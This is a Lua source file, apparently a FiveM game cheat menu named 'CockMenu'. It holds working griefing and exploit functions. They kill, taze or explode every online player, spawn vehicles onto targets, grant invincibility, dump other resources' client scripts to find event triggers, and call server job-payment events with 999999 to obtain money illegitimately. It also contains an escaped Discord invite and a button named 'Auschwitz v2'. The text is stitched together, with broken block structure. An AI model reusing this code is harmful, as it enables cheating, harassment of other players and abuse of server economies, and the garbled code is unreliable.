drag_y2 = Cock.Menu.MenuY2-0.5
if( (c_x) + 0.013 >= x+drag_x2 and (c_x) - 0.055 <= x+drag_x2 and
(c_y) + 0.01 >= y+drag_y2 and (c_y) - 0.005 <= y+drag_y2) then
Fatasf.n.SetTextColour(Cock.Sliders['MainR'].value,
Cock.Sliders['MainG'].value, Cock.Sliders['MainB'].value,
Cock.Sliders['MainA'].value)
CockT.Global.DrawText(text, x+drag_x2, y+drag_y2, _outl, 0.3, 4,
false)
else
CockT.Global.DrawText(text, x+drag_x2, y+drag_y2, _outl, 0.3, 4,
false)
end
if( (c_x) + 0.013 >= x+drag_x2 and (c_x) - 0.055 <= x+drag_x2 and
(c_y) + 0.01 >= y+drag_y2 and (c_y) - 0.005 <= y+drag_y2) and
Fatasf.n.IsDisabledControlJustReleased(0, 92) then
return true
else
return false
end
end
--[[ CockMenu.Main.LoadGifMoscow = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("cock_moscow")
local banner_dui =
Fatasf.n.CreateAnDui("https://cock.menu/music/mp4moscow.mp4", 640, 360)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd, "menu_gif",
b_dui)
end ]]
CockMenu.Main.AddNotification = function(text, type, ms)
if type == "INFO" then
CockT.Strings.tinsert(Cock.Notifications, { ['text'] =
"[~b~CockMenu~w~] ".. text, ['time'] = ms, ['startTime'] =
Fatasf.n.GetGameTimer() })
end
if type == "ERROR" then
CockT.Strings.tinsert(Cock.Notifications, { ['text'] =
"[~r~CockMenu~w~] ".. text, ['time'] = ms, ['startTime'] =
Fatasf.n.GetGameTimer() })
end
if type == "SUGGEST" then
CockT.Strings.tinsert(Cock.Notifications, { ['text'] =
"[~y~CockMenu~w~] ".. text, ['time'] = ms, ['startTime'] =
Fatasf.n.GetGameTimer() })
end
end
CockMenu.Main.Checkbox = function(name,x,y,bool, _outl)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
local x = x +0.0015
if bool then
Fatasf.n.DrawRect(x+drag_x2 , y+drag_y2, 0.006, 0.012, 0, 0, 0,
255)
Fatasf.n.DrawRect(x+drag_x2 , y+drag_y2, 0.005, 0.01, 0, 155, 0,
255)
else
Fatasf.n.DrawRect(x+drag_x2 , y+drag_y2, 0.006, 0.012, 0, 0, 0,
255)
Fatasf.n.DrawRect(x+drag_x2, y+drag_y2, 0.005, 0.01, 155, 0, 0,
255)
end
local text_widht = (CockT.Global.GetTextWidht(name) / 2)
if( (c_x) + 0.03 >= x+drag_x2 and (c_x) - 0.03 <= x+drag_x2 and
(c_y) + 0.01 >= y+drag_y2 and (c_y) - 0.0001 <= y+drag_y2) then
Fatasf.n.SetTextColour(Cock.Sliders['MainR'].value,
Cock.Sliders['MainG'].value, Cock.Sliders['MainB'].value,
Cock.Sliders['MainA'].value)
CockT.Global.DrawText(name, x+drag_x2+0.005, y+drag_y2-
0.01,_outl,0.28, 4)
else
Fatasf.n.SetTextColour(255, 255, 255, 255)
CockT.Global.DrawText(name, x+drag_x2+0.005, y+drag_y2-
0.01,_outl,0.28, 4)
end
if( (c_x) + 0.03 >= x+drag_x2 and (c_x) - 0.03 <= x+drag_x2 and
(c_y) + 0.01 >= y+drag_y2 and (c_y) - 0.0001 <= y+drag_y2) and
Fatasf.n.IsDisabledControlJustReleased(0, 92) then
return true
else
return false
end
end
CockMenu.Main.UpdateAllTriggers = function()
Fatasf.n.Leprint("^1[^2CockMenu Logs^1] ^7Loading dynamic
triggers...")
CockT.Inv["Thread"](
function()
CockT.Inv["Wait"](500)
local fitimeone =Fatasf.n.GetResources()
for kk, v in CockT.Math.ipairs(CockT.DynamicTriggers) do
for i = 0, #fitimeone do
local script = CockT.Strings.lower(fitimeone[i])
if type(v.resourcelooklike) == "table" then
for E, pirs in
CockT.Math.pairs(v.resourcelooklike) do
if
CockT.Strings.find(script, pirs) and
Fatasf.n.GetResourcestatus(fitimeone[i])
then
v.resource = fitimeone[i]
end
end
else
if CockT.Strings.find(script,
v.resourcelooklike) and Fatasf.n.GetResourcestatus(fitimeone[i]) then v.resource =
fitimeone[i]
end
end
end
end
CockT.Inv["Wait"](100)
for k, v in CockT.Math.pairs(CockT.DynamicTriggers) do
Functions.f.GetAllTriggers(v)
CockT.Inv["Wait"](15)
end
end)
end
CockMenu.Main.Slider = function(text, x, y, O4v, r, g, b)
local x = x +drag_x2
local y = y +drag_y2
--0.4229 0.5812
local Vzs_x, dry_r = x - (0.5 - 0.4229), x + (0.5812 - 0.5)
if (c_x - x > -0.085) and (c_x - x < 0.085) and (c_y - (y +
(0.025/2)) > -(0.025/2)) and (c_y - (y + (0.013/2)) < (0.013/2)) and
Fatasf.n.IsDisabledControlPressed(0, 24) then
O4v.value = CockT.Math.floor((((c_x) - (Vzs_x)) / (dry_r -
Vzs_x) ) * (O4v.max - O4v.min) - O4v.min)
end
if (c_x - x > -0.085) and (c_x - x < 0.085) and (c_y - y > -0.007)
and (c_y - y < 0.007) then
Fatasf.n.SetTextColour(150, 150, 150, 255)
CockT.Global.CockText(text, false, 0.28, false, x - 0.078, y -
0.008, 4)
if Fatasf.n.IsDisabledControlPressed(0, 25) then
CockT.Inv["Wait"](100)
local new_val = Functions.f.CustomInput("New value", "", 5)
if new_val ~= nil then
O4v.value = CockT.Math.tonumber(new_val)
end
end
else
Fatasf.n.SetTextColour(255, 255, 255, 255)
CockT.Global.CockText(text, false, 0.28, false, x - 0.078, y -
0.008, 4)
end
startPointing = function()
local ped = Fatasf.n.PlayerPedId()
Fatasf.n.RequestAnimDict("anim@mp_point")
while not Fatasf.n.HasAnimDictLoaded("anim@mp_point") do
CockT.Inv["Wait"](0)
end
Fatasf.n.SetPedCurrentWeaponVisible(ped, 0, 1, 1, 1)
Fatasf.n.SetPedConfigFlag(ped, 36, 1)
Fatasf.n.TaskMoveNetworkByName(ped, "task_mp_pointing", 0.5, 0,
"anim@mp_point", 24)
Fatasf.n.RemoveAnimDict("anim@mp_point")
end
stopPointing = function()
local ped = Fatasf.n.PlayerPedId()
Fatasf.n.RequestTaskMoveNetworkStateTransition(ped, "Stop")
if not Fatasf.n.IsPedInjured(ped) then
Fatasf.n.ClearPedSecondaryTask(ped)
end
if not Fatasf.n.IsPedInAnyVehicle(ped, 1) then
Fatasf.n.SetPedCurrentWeaponVisible(ped, 1, 1, 1, 1)
end
Fatasf.n.SetPedConfigFlag(ped, 36, 0)
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
end
CockT.Inv["Thread"](function()
while true do
CockT.Inv["Wait"](0)
if CockT.Inv["Invoke"](CockT.Natives['IsPedOnFoot'],
Fatasf.n.PlayerPedId()) and not mp_pointing then
CockT.Inv["Wait"](200)
startPointing()
mp_pointing = true
end
if Fatasf.n.IsTaskMoveNetworkActive(Fatasf.n.PlayerPedId())
and not mp_pointing then
stopPointing()
end
if Fatasf.n.IsTaskMoveNetworkActive(Fatasf.n.PlayerPedId())
then
if not CockT.Inv["Invoke"](CockT.Natives['IsPedOnFoot'],
Fatasf.n.PlayerPedId()) then
stopPointing()
else
local ped = Fatasf.n.PlayerPedId()
camPitch = Fatasf.n.GetGameplayCamRelativePitch()
if camPitch < -70.0 then
camPitch = -70.0
elseif camPitch > 42.0 then
camPitch = 42.0
end
camPitch = (camPitch + 70.0) / 112.0
camHeading =
Fatasf.n.GetGameplayCamRelativeHeading()
cosCamHeading = Cos(camHeading)
sinCamHeading = Sin(camHeading)
if camHeading < -180.0 then
camHeading = -180.0
elseif camHeading > 180.0 then
camHeading = 180.0
end
camHeading = (camHeading + 180.0) / 360.0
blocked = 0
nn = 0
coords =
Fatasf.n.GetOffsetFromEntityInWorldCoords(ped, (cosCamHeading * -0.2) -
(sinCamHeading * (0.4 * camHeading + 0.3)), (sinCamHeading * -0.2) + (cosCamHeading
* (0.4 * camHeading + 0.3)), 0.6)
ray = Fatasf.n.StartShapeTestCapsule(coords.x,
coords.y, coords.z - 0.2, coords.x, coords.y, coords.z + 0.2, 0.4, 95, ped, 7);
nn,blocked,coords,coords =
Fatasf.n.GetRaycastResult(ray)
Fatasf.n.SetTaskMoveNetworkSignalFloat(ped, "Pitch",
camPitch)
Fatasf.n.SetTaskMoveNetworkSignalFloat(ped,
"Heading", camHeading * -1.0 + 1.0)
Fatasf.n.SetTaskMoveNetworkSignalBool(ped,
"isBlocked", blocked)
Fatasf.n.SetTaskMoveNetworkSignalBool(ped,
"isFirstPerson", _cit_.InvokeNative(0xEE778F8C7E1142E2,
_cit_.InvokeNative(0x19CAFA3C87F7C2FF)) == 4)
end
end
end
end)
end
CockMenu.Main.PounderPlayers = function(players, howm)
for i = 0, howm - 1 do
local ped = Fatasf.n.GetPlayerPed(players)
local coords = Fatasf.n.GetEntityCoords(ped)
while not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey("Pounder")) do
Fatasf.n.RequestModel(Fatasf.n.GetHashKey("Pounder"))
CockT.Inv["Wait"](1)
end
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey("Pounder"), coords.x, coords.y,
coords.z, 90.0, 1, 1)
end
end
CockMenu.Main.killallpeds = function()
for peds in Fatasf.n.EnumeratePeds() do
if
Fatasf.n.IsPedAPlayer(peds) ~= true and
peds ~= Fatasf.n.PlayerPedId()
then
Fatasf.n.RequestControlOnce(peds)
Fatasf.n.SetEntityHealth(peds, 0)
end
end
end
CockMenu.Main.TugAllPlayers = function()
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(i)
coords = Fatasf.n.GetEntityCoords(ped)
while not Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey("tug"))
do
Fatasf.n.RequestModel(Fatasf.n.GetHashKey("tug"))
CockT.Inv["Wait"](1)
end
local veh = Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey("tug"),
coords.x, coords.y, coords.z, 90.0, 1, 1)
end
end
CockMenu.Main.EnableAllSirens = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleEngineOn(vehicle, true, true, true)
Fatasf.n.TriggerSiren(vehicle)
Fatasf.n.SetVehicleSiren(vehicle, true)
end
end
CockMenu.Main.SirensOnPlayer = function(player)
CockT.Inv['Thread'](function()
local kx = Fatasf.n.GetHashKey('police')
Fatasf.n.RequestModel(kx)
while not Fatasf.n.HasModelLoaded(kx) do
CockT.Inv["Wait"](0)
end
local k = Fatasf.n.CreateVehicle(kx,
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)), 1, 1, 1)
while true do
CockT.Inv["Wait"](0)
local PoliceAnnoying = true
if PoliceAnnoying then
coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player))
Fatasf.n.SetEntityVisible(k, false, false)
Fatasf.n.SetEntityCoords(k, coords.x, coords.y, coords.z
+ 5)
Fatasf.n.SetVehicleEngineOn(k, true, true, true)
Fatasf.n.TriggerSiren(k)
Fatasf.n.SetVehicleSiren(k, true)
end
end
end)
end
CockMenu.Main.KillPlayer = function(player)
local ped = Fatasf.n.GetPlayerPed(player)
local location = Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped, 0, 0.0, 0.0, 0.0)
local org = Fatasf.n.GetPedBoneCoords(ped, 57005, 0.0, 0.0, 0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org, dest, 50.0, true,
Fatasf.n.GetHashKey('WEAPON_PISTOL'), Fatasf.n.PlayerPedId(), true, false, 10000.0)
end
CockMenu.Main.ShitRain = function(target, model, result)
CockT.Inv["Thread"](
function(result)
for tye = 0, result do
VehicleHash = Fatasf.n.GetHashKey(model)
Fatasf.n.RequestModel(VehicleHash)
x, y, z =
CockT.Strings.tunpack(
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(target))
)
while not Fatasf.n.HasModelLoaded(VehicleHash) do
Fatasf.n.RequestModel(VehicleHash)
CockT.Inv["Wait"](15)
end
cockmenu = {p = 82, s = 80}
SpawnedVeh =
CockT.Inv["Invoke"](
CockT.Natives["CreateVehicle"],
VehicleHash,
x,
y,
z + 20.0,
0.0,
true,
false
)
CockT.Inv["Invoke"](CockT.Natives["SetVehicleColours"],
SpawnedVeh, cockmenu.p, cockmenu.s)
Fatasf.n.SetVehicleNumberPlateText(SpawnedVeh, "Cock
Menu")
Fatasf.n.SetEntityVelocity(SpawnedVeh, 0.0, 0.0, -100.0)
end
end
)
end
CockMenu.Main.SpawnBitch = function(playerped)
if Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(playerped),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(playerped), false)) then
local veh =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.GetPlayerPed(playerped))
local model = Fatasf.n.GetHashKey("s_f_y_stripper_01")
Fatasf.n.RequestModel(model)
while not Fatasf.n.HasModelLoaded(model) do
CockT.Inv["Wait"](1)
end
local cpiv = Fatasf.n.CreatePedInsideVehicle(veh, 4, model, 0,
true, false)
end
end
CockMenu.Main.Cage = function(player)
--[[local ped = Fatasf.n.GetPlayerPed(player)
local coords = Fatasf.n.GetEntityCoords(ped)
local inveh = Fatasf.n.IsPedInAnyVehicle(ped)
if inveh then
obj =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 6.8,
coords.y + 1,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj, 90.0)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y + 6.8,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y - 4.8,
coords.z - 1.5,
0,
1,
1
)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x + 4.8,
coords.y + 1,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
obj =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 6.8,
coords.y + 1,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj, 90.0)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y + 6.8,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y - 4.8,
coords.z + 1.3,
0,
1,
1
)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x + 4.8,
coords.y + 1,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
else
obj =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y - 1,
coords.z - 1,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj, true)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.55,
coords.y - 1.05,
coords.z - 1,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
Fatasf.n.FreezeEntityPosition(obj2, true)
obj3 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y + 0.6,
coords.z - 1,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj3, true)
local obj4 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x + 1.05,
coords.y - 1.05,
coords.z - 1,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj4, 90.0)
Fatasf.n.FreezeEntityPosition(obj4, true)
local obj5 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y - 1,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj5, true)
local obj6 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.55,
coords.y - 1.05,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj6, 90.0)
Fatasf.n.FreezeEntityPosition(obj6, true)
local obj7 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y + 0.6,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj7, true)
local obj8 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x + 1.05,
coords.y - 1.05,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj8, 90.0)
Fatasf.n.FreezeEntityPosition(obj8, true)
end]]
end
CockMenu.Main.natRe = function()
local entcord = Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local cords = {
x = CockT.Global.mathround(entcord.x, 1),
y = CockT.Global.mathround(entcord.y, 1),
z = CockT.Global.mathround(entcord.z, 1)
}
CockT.Global.resPe(Fatasf.n.PlayerPedId(), cords, 0)
Fatasf.n.StopScreenEffect("DeathFailOut")
end
CockMenu.Main.TpToWaypoint = function()
wp = Fatasf.n.GetFirstBlipInfoId(8)
if Fatasf.n.DoesBlipExist(wp) then
wpC = Fatasf.n.GetBlipInfoIdCoord(wp)
for cc = 1, 1000 do
CockT.Inv["Invoke"]
(CockT.Natives['SetPedCoordsKeepVehicle'], Fatasf.n.PlayerPedId(), wpC["x"],
wpC["y"], cc + 0.0)
gZ, zPos = Fatasf.n.GetGroundZFor_3dCoord(wpC["x"],
wpC["y"], cc + 0.0)
if gZ then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedCoordsKeepVehicle'], Fatasf.n.PlayerPedId(), wpC["x"],
wpC["y"], cc + 0.0)
break
end
CockT.Inv["Wait"](0)
end
end
end
CockMenu.Main.Dragbar = function()
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
if Cock.Menu.dragging_allowed then
Cock.Menu.MenuX = c_x + _x
Cock.Menu.MenuY = c_y + _y
end
if Cock.Menu.dragging_allowed2 then
Cock.Menu.MenuX2 = c_x + _x2
Cock.Menu.MenuY2 = c_y + _y2
end
end
local CockMeni = {
Functions = {
MButtons = function()
drag_x = Cock.Menu.MenuX-0.5
drag_y = Cock.Menu.MenuY-0.5
drag_x2 = Cock.Menu.MenuX2-0.5
drag_y2 = Cock.Menu.MenuY2-0.5
CockMenu.Main.Dragbar()
for k, v in CockT.Math.pairs(GlifeScripts) do
if CockT.Global.CheckIfResourceExist(v) then
if CockMenu.Main.MenuButton("Glife", "Glife", 0.05,
0.53, false, {start = 0.0}) then tab = "Glife"
end y_cm = y_cm + 0.04
end
end
CockT.Global.DrawText('~b~\100\105\115\99\111\114\100\46\103\103\47\115\80\72\87\55
\67\84\84\90\106', 0.015+drag_x, 0.63+drag_y, false, 0.35, 4)
CockT.Global.DrawText('\98\195\164\195\164\114\115\35\51\49\53\48', 0.018+drag_x,
0.65+drag_y, false, 0.35, 4)
CockT.Global.DrawText('Online Players: ~b~'..
#Fatasf.n.GetActivePlayers(), 0.018+drag_x, 0.67+drag_y, false, 0.35, 4)
CockT.Global.DrawText('Session ID: ~b~'..formattorandom ,
0.018+drag_x, 0.69+drag_y, false,0.35, 4)
wwa = true
Functions.f.FvckinDooogInvincibleglifeshit(true)
CockT.Inv["Thread"](function()
while wwa do
CockT.Inv["Wait"](0)
Functions.f.RepairVehicle()
Fatasf.n.SetEntityOnlyDamagedByPlayer(veh, true)
Fatasf.n.SetEntityCanBeDamaged(veh,
false)
Fatasf.n.SetEntityInvincible(Fatasf.n.PlayerPedId(), true)
Fatasf.n.SetEntityProofs(veh, false,
true, true, false, false, false, false, false)
Fatasf.n.SetEntityInvincible(veh,
true)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerInvincible'], Fatasf.n.PlayerPedId(), true)
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local dict = "core"
Fatasf.n.RequestNamedPtfxAsset(dict)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(dict) do
CockT.Inv["Wait"](0)
end
Fatasf.n.UseParticleFxAsset(dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("ent_sht_petrol_fire", coords.x,
coords.y, coords.z, 0, 0, 0, 2.0, 0, 0, 0)
end
end)
else
Fatasf.n.SetEntityInvincible(Fatasf.n.GetPlayerPed(-1), false)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerInvincible'], Fatasf.n.PlayerId(), false)
Fatasf.n.SetEntityOnlyDamagedByPlayer(Fatasf.n.GetPlayerPed(-1), false)
Fatasf.n.SetEntityCanBeDamaged(Fatasf.n.GetPlayerPed(-1), true)
Fatasf.n.SetEntityOnlyDamagedByPlayer(veh,
false)
Fatasf.n.SetEntityCanBeDamaged(veh, true)
Functions.f.FvckinDooogInvincibleglifeshit(false)
end
end
end scroll = scroll + 0.015
end
if tab == "Destroyer" then
local scroll = 0.37 + Cock.Menu.scr_1
Fatasf.n.NetworkRequestControlOfEntity(vehicle)
CockT.Inv["Invoke"]
(CockT.Natives['ApplyForceToEntity'], vehicle, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0,
0, 0, 1, 1, 0, 1)
end
end
end scroll = scroll + 0.015
Fatasf.n.RequestNamedPtfxAsset("scr_agencyheist")
pedcoords = Fatasf.n.GetEntityCoords(ped)
Fatasf.n.UseParticleFxAsset("scr_agencyheist")
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "scr_fbi_dd_breach_smoke",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
Fatasf.n.RequestNamedPtfxAsset("core")
Fatasf.n.UseParticleFxAsset("core")
Fatasf.n.RequestNamedPtfxAsset("scr_rcbarry1")
Fatasf.n.UseParticleFxAsset("scr_rcbarry1")
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i)), 8, 100.0,
true, false, 0.0)
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Taze all players', 0.422,
scroll, false, true) then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(i)
local location =
Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped,
0, 0.0, 0.0, 0.0)
local org = Fatasf.n.GetPedBoneCoords(ped,
57005, 0.0, 0.0, 0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org,
dest, 0.0, true, Fatasf.n.GetHashKey('WEAPON_STUNGUN'), Fatasf.n.PlayerPedId(),
true, false, 1.0)
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Pounder all players',
0.422, scroll, false, true) then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockMenu.Main.PounderPlayers(i, 10)
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Kill all peds', 0.422,
scroll, false, true) then
CockMenu.Main.killallpeds()
end
end scroll = scroll + 0.015
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i)), 12,
100.0, true, false, 0.0)
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Auschwitz v2', 0.422,
scroll, false, true) then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.Auschwitzv2(i)
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Plant bomb on all
vehicles', 0.422, scroll, false, true) then
Cock.Menu.plantthebombonall = not
Cock.Menu.plantthebombonall
if Cock.Menu.plantthebombonall then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(i),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(i), false)) then
--[[ local bomb =
Fatasf.n.CreateAnDui("https://cock.menu/music/bombhasbeenplanted.mp3", 1, 1, 1)
CockT.Inv["Wait"](1600)
Fatasf.n.DestroyDui(bomb) ]]
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i))
Fatasf.n.AddExplosion(coords.x,
coords.y, coords.z, 5, 100.0, true, false, 0.0)
end
end
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Fuck all vehicles', 0.422,
scroll, false, true) then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Functions.f.FuckVehicle(i)
end
end
end scroll = scroll + 0.015
end
if tab == "resdumper" then
CockMenu.Main.LoadUi()
local _scroll = 0.37 + Cock.Menu.scr_dump
if CockT.Global.Zones(0.5+drag_x2, 0.465+drag_y2, 0.17,
0.45) then
if Fatasf.n.IsDisabledControlPressed(0, 14) and
_scroll > (0.37 - ((CockT.Inv["Invoke"](CockT.Natives["GetNumResources"])-17) *
0.015)) then
Cock.Menu.scr_dump = Cock.Menu.scr_dump - 0.015
end
if Fatasf.n.IsDisabledControlJustPressed(0, 15) and
_scroll ~= 0.37 then
Cock.Menu.scr_dump = Cock.Menu.scr_dump + 0.015
end
for k, v in CockT.Math.pairs(Fatasf.n.GetResources()) do
if _scroll >= 0.37 and _scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button(v, 0.422, _scroll,
false, true) then
tab = v
CockT.Inv["Wait"](10)
end
end _scroll = _scroll + 0.015
end
end
for k, v in CockT.Math.pairs(Fatasf.n.GetResources()) do
if tab == v then
CockMenu.Main.LoadUi()
local work = true
local _yy_2 = 0.37
for i = 0, Fatasf.n.GetNumResourceMetadata(v,
"client_script")-1 do
local data = Fatasf.n.GetResourceMetadata(v,
"client_script", i)
local script = Fatasf.n.LoadResourceFile(v,
data)
if script ~= nil then
if CockMenu.Main.Button(data, 0.422, _yy_2,
false, true) then
CockT.Inv["Thread"](function()
while work and tab == v do
CockT.Inv["Wait"](0)
Fatasf.n.DrawRect(0.77,
0.45, 0.25, 0.5, 1, 1, 1, 180)
local resource =
Fatasf.n.LoadResourceFile(v, data)
--CockT.Global.ScrollBar(Cock.Menu.scr_a)
for k, g in
CockT.Math.pairs(GetAllLines) do
if scroll >= 0.2 and
scroll <= 0.7 - 0.015 then
end
end)
end _yy_2 = _yy_2 + 0.015
end --
end
end
end
for k, v in CockT.Math.pairs(Fatasf.n.GetResources()) do
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button(v, 0.422, scroll, false,
true) then
tab = v..'.'
CockT.Inv["Wait"](10)
end
end scroll = scroll + 0.015
end
end
for r, a in CockT.Math.pairs(Fatasf.n.GetResources()) do
if tab == a..'.' then
CockMenu.Main.LoadUi()
work = true
local _yy_2 = 0.37
for i = 0, Fatasf.n.GetNumResourceMetadata(a,
"client_script")-1 do
local data = Fatasf.n.GetResourceMetadata(a,
"client_script", i)
local script = Fatasf.n.LoadResourceFile(a,
data)
if script ~= nil then
if CockMenu.Main.Button(data, 0.422,
_yy_2, false, true) then
CockT.Inv["Thread"](function()
while work and tab == a..'.' do
CockT.Inv["Wait"](0)
local o = 0.465
Fatasf.n.DrawRect(0.8, 0.5,
0.3, 0.1, 4, 4, 4, 180)
local resource =
Fatasf.n.LoadResourceFile(a, data)
local n =
CockT.Global.TriggerFinder(resource)
for g in
CockT.Strings.sgmatch(n, "[^" .. '\n' .. "]+") do
CockT.Global.DrawText(g,
0.654, o, true, 0.3, 4, false); o = o + 0.01
end
end
end)
if dynamic.TR['esx_skin:openSaveableMenu'] then
if CockMenu.Main.Button('~g~ESX~s~ Open skin menu',
0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(false,
'esx_skin:openSaveableMenu')
end y = y + 0.015
end
if dynamic.TR['garbagejob_pay'] then
if CockMenu.Main.Button('~g~ESX~s~ Money
(garbagejob)', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['garbagejob_pay'], 999999)
end y = y + 0.015
end
if dynamic.TR['gopostaljob:pay'] then
if CockMenu.Main.Button('~g~ESX~s~ Money
(gopostaljob)', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['gopostaljob:pay'], 999999)
end y = y + 0.015
end
if dynamic.TR['esx_blanchisseur:pay'] then
if CockMenu.Main.Button('~g~ESX~s~ Money
(esx_blanchisseur)', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_blanchisseur:pay'], 999999)
end y = y + 0.015
end
if dynamic.TR['esx_pizza:pay'] then
if CockMenu.Main.Button('~g~ESX~s~ Money
(esx_pizza)', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_pizza:pay'], 999999)
end y = y + 0.015
end
if dynamic.TR['esx_taxijob:success'] then
